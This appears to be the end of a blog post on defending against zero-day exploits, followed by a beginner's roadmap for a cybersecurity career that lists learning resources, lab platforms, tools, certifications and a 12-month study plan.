Rapid Patch Management

Once vendors release updates, organizations should deploy them as quickly as possible.

The faster systems are patched, the smaller the attack window becomes.

Endpoint Detection and Response (EDR)

Modern EDR solutions focus on suspicious behavior rather than known malware signatures.

This improves detection of previously unseen attacks.

Examples include:

• Microsoft Defender for Endpoint

• CrowdStrike Falcon

• SentinelOne

Principle of Least Privilege

Users and applications should only have the permissions necessary for their tasks.

Limiting privileges reduces the damage attackers can cause after initial compromise.

Network Segmentation

Separating systems into isolated network segments makes lateral movement more difficult.

Even if one device is compromised, attackers may struggle to reach critical assets.

Threat Hunting

Proactive threat hunting helps identify unusual activity before it escalates into a major incident.

Organizations increasingly use:

• SIEM platforms

• Behavioral analytics

• Threat intelligence feeds

• Security monitoring

to improve visibility.

Security Awareness Training

Many zero-day attacks still rely on phishing and social engineering for initial access.

Training users to recognize suspicious activity remains an essential defensive measure.

Can Zero-Days Ever Be Eliminated?

Realistically, no.

Modern software contains millions of lines of code. Complex systems inevitably contain undiscovered vulnerabilities.

The goal of cybersecurity is therefore not to eliminate every flaw but to:

• Detect attacks quickly

• Limit attacker movement

• Reduce impact

• Recover effectively

Organizations that assume breaches are possible and build resilient defenses tend to withstand attacks far better than those relying on prevention alone.

Final Thoughts

Zero-day exploits represent one of the most challenging threats in cybersecurity because they target weaknesses nobody knows about until attackers begin using them.

They have been used in espionage campaigns, cyber warfare operations, corporate breaches, and targeted surveillance activities around the world.

While organizations cannot completely prevent unknown vulnerabilities from existing, they can significantly reduce risk through layered security, rapid patching, strong monitoring, least-privilege access controls, and proactive threat detection.

The most effective defense against zero-day threats is not perfection.

It is preparedness.

Because when attackers discover a vulnerability before defenders do, every second counts.

If you've ever been curious about ethical hacking, digital forensics, security operations, or how organizations defend themselves against cyberattacks, cybersecurity might be the perfect career path for you.

The good news is that you don't need a computer science degree from a top university or years of experience to get started. With the right roadmap, dedication, and consistent practice, anyone can build the skills required to enter the field.

In this guide, you'll learn a practical step-by-step roadmap for starting a cybersecurity career, including essential skills, learning resources, certifications, hands-on labs, and community resources.

Why Choose Cybersecurity?

Cybersecurity offers more than just excellent career opportunities. It is a field that combines technology, problem-solving, investigation, and continuous learning.

Organizations of every size face threats such as:

• Data breaches

• Phishing attacks

• Malware infections

• Ransomware

• Insider threats

• Cloud security risks

Because of this, cybersecurity professionals are needed across nearly every industry.

One of the biggest advantages of cybersecurity is the variety of career paths available. You can specialize in areas such as:

• Ethical Hacking & Penetration Testing

• Security Operations Center (SOC)

• Digital Forensics & Incident Response (DFIR)

• Open Source Intelligence (OSINT)

• Malware Analysis

• Threat Hunting

• Cloud Security

• Application Security

• Security Engineering

• Governance, Risk & Compliance (GRC)

No matter whether you enjoy coding, investigations, networking, system administration, or research, there's a place for you in cybersecurity.

Step 1: Build a Strong Foundation

Before learning hacking techniques or advanced security concepts, it's important to understand how systems and networks work.

Many beginners rush directly into penetration testing tools without understanding the underlying technologies. Building a strong foundation first will make everything easier later.

Learn Networking

Networking is arguably the most important skill in cybersecurity.

Topics to focus on:

• TCP/IP

• DNS

• DHCP

• HTTP & HTTPS

• Firewalls

• Routing and Switching

• VPNs

• Network Protocols

Useful resources:

• Cisco Networking Basics: https://skillsforall.com/course/networking-basics

• Practical Networking: https://www.practicalnetworking.net

• freeCodeCamp Networking Course: https://www.youtube.com/watch?v=qiQR5rTSshw

Learn Linux and Windows

Security professionals work with operating systems daily.

For Linux, learn:

• File permissions

• User management

• Process management

• Bash commands

• Package management

• System logs

Resources:

• Linux Journey: https://linuxjourney.com

• OverTheWire Bandit: https://overthewire.org/wargames/bandit

For Windows, focus on:

• Active Directory basics

• PowerShell

• Event Viewer

• User and Group Management

• Windows Security Features

Resource:

• Microsoft Learn: https://learn.microsoft.com/training

Learn Basic Programming

Programming isn't mandatory for beginners, but it becomes increasingly valuable as you progress.

Recommended languages:

• Python

• Bash

• PowerShell

• C/C++

Useful resources:

• Python: https://www.learnpython.org

• Learn C++: https://www.learncpp.com

• PowerShell Documentation: https://learn.microsoft.com/powershell

Step 2: Learn Security Fundamentals

Once you understand networking and operating systems, start focusing on security-specific concepts.

Cryptography

Learn the fundamentals of:

• Encryption

• Hashing

• Digital Signatures

• SSL/TLS

• Public Key Infrastructure (PKI)

Resource:

• https://www.cryptool.org

Web Application Security

Web applications are among the most common attack targets today.

Learn about:

• Authentication

• Authorization

• Session Management

• Security Headers

• Cookies and Tokens

Common vulnerabilities include:

• SQL Injection (SQLi)

• Cross-Site Scripting (XSS)

• Cross-Site Request Forgery (CSRF)

• Broken Access Control

• SSRF

Essential resources:

• OWASP Top 10: https://owasp.org/www-project-top-ten/

• OWASP Juice Shop: https://owasp.org/www-project-juice-shop/

• OWASP Web Security Testing Guide: https://owasp.org/www-project-web-security-testing-guide/

Core Security Concepts

Understand:

• CIA Triad

• Defense in Depth

• Risk Management

• Threat Modeling

• Security Controls

• Zero Trust Security

Resource:

• https://www.cisa.gov

Step 3: Gain Hands-On Experience

Cybersecurity is a practical field.

You cannot become proficient by watching videos alone. Real growth happens when you build, break, investigate, and solve problems yourself.

Practice Platforms

TryHackMe

TryHackMe provides structured learning paths and beginner-friendly labs.

https://tryhackme.com

Recommended paths:

• Pre Security

• Complete Beginner

• SOC Level 1

• Jr Penetration Tester

Hack The Box

Hack The Box provides realistic environments for developing offensive and defensive skills.

https://www.hackthebox.com

Learning platform:

https://academy.hackthebox.com

OverTheWire

Excellent for learning Linux and command-line fundamentals.

https://overthewire.org

PortSwigger Web Security Academy

One of the best free resources for learning web security.

https://portswigger.net/web-security

Build Your Own Home Lab

A home lab provides a safe environment for experimentation.

Virtualization tools:

• VirtualBox: https://www.virtualbox.org

• VMware Workstation: https://www.vmware.com/products/workstation-pro

Recommended virtual machines:

• Kali Linux: https://www.kali.org

• Ubuntu: https://ubuntu.com

• Parrot Security: https://www.parrotsec.org

• Windows Evaluation VMs: https://developer.microsoft.com/windows/downloads/virtual-machines

Essential Security Tools to Learn

Network Analysis

• Wireshark: https://www.wireshark.org

• TCPDump: https://www.tcpdump.org

Scanning & Enumeration

• Nmap: https://nmap.org

• RustScan: https://rustscan.github.io

Web Application Testing

• Burp Suite: https://portswigger.net/burp

• OWASP ZAP: https://www.zaproxy.org

Exploitation Frameworks

• Metasploit Framework: https://www.metasploit.com

Digital Forensics

• Autopsy: https://www.autopsy.com

• Volatility: https://www.volatilityfoundation.org

SIEM & Log Analysis

• Splunk: https://www.splunk.com

• Elastic Security: https://www.elastic.co/security

• Wazuh: https://wazuh.com

Step 4: Earn Certifications

Certifications help validate your knowledge and demonstrate commitment to employers.

Beginner-Friendly Certifications

• Cisco Introduction to Cybersecurity https://www.netacad.com/courses/introduction-cybersecurity

• Google Cybersecurity Professional Certificate https://grow.google/certificates/cybersecurity

• Microsoft Security Learning Paths https://learn.microsoft.com/training

Intermediate Certifications

• CompTIA Security+ https://www.comptia.org/certifications/security

• CompTIA Network+ https://www.comptia.org/certifications/network

• Certified Ethical Hacker (CEH) https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/

• Splunk Certifications https://www.splunk.com/en\_us/training.html

Advanced Certifications

• OffSec OSCP https://www.offsec.com/courses/pen-200/

• OffSec OSEP https://www.offsec.com/courses/pen-300/

• CISSP https://www.isc2.org/certifications/cissp

• GIAC Certifications https://www.giac.org

Step 5: Join the Security Community

One of the fastest ways to grow is by learning from others.

Useful communities:

• Reddit r/netsec https://www.reddit.com/r/netsec

• Reddit r/cybersecurity https://www.reddit.com/r/cybersecurity

• LinkedIn https://www.linkedin.com

• X (Twitter) https://x.com

Conferences worth following:

• DEF CON: https://defcon.org

• Black Hat: https://www.blackhat.com

• BSides: https://bsides.org

• OWASP Events: https://owasp.org/events

Step 6: Build Your Portfolio

A strong portfolio often matters more than certifications.

Ideas for portfolio projects:

• Write technical blog posts

• Publish CTF writeups

• Build security automation scripts

• Create home lab projects

• Document investigations

• Share tools on GitHub

Useful platforms:

• GitHub: https://github.com

• Hashnode: https://hashnode.com

• Dev.to: https://dev.to

• Medium: https://medium.com

Employers love seeing evidence of practical skills and continuous learning.

Common Mistakes Beginners Should Avoid

Many newcomers slow their progress by making a few common mistakes:

❌ Skipping networking fundamentals

❌ Ignoring Linux

❌ Collecting certifications without practical experience

❌ Learning tools without understanding concepts

❌ Comparing their progress to others

❌ Trying to learn everything at once

❌ Copy-pasting commands without understanding them

Focus on understanding fundamentals and building consistent habits.

A Simple 12-Month Learning Roadmap

Months 1–2

• Networking Fundamentals

• Linux Basics

• Windows Basics

• Basic Python

Months 3–4

• Security Fundamentals

• OWASP Top 10

• Beginner TryHackMe Rooms

Months 5–6

• Home Lab Setup

• Nmap

• Wireshark

• Burp Suite

Months 7–9

• SOC Fundamentals

• Digital Forensics Basics

• Capture The Flag Challenges

Months 10–12

• Portfolio Building

• Security+ Preparation

• Community Participation

• Advanced Labs

Final Thoughts

Every cybersecurity professional started as a beginner.

You don't need to know everything before you start. Focus on learning the fundamentals, practicing regularly, documenting your progress, and staying curious.

Consistency will always outperform short bursts of motivation.

Build your foundation, gain hands-on experience, contribute to the community, and continue learning. Over time, those small daily improvements will compound into valuable skills and career opportunities.

The cybersecurity industry rewards curiosity, persistence, and continuous learning.

Start today, stay consistent, and keep building.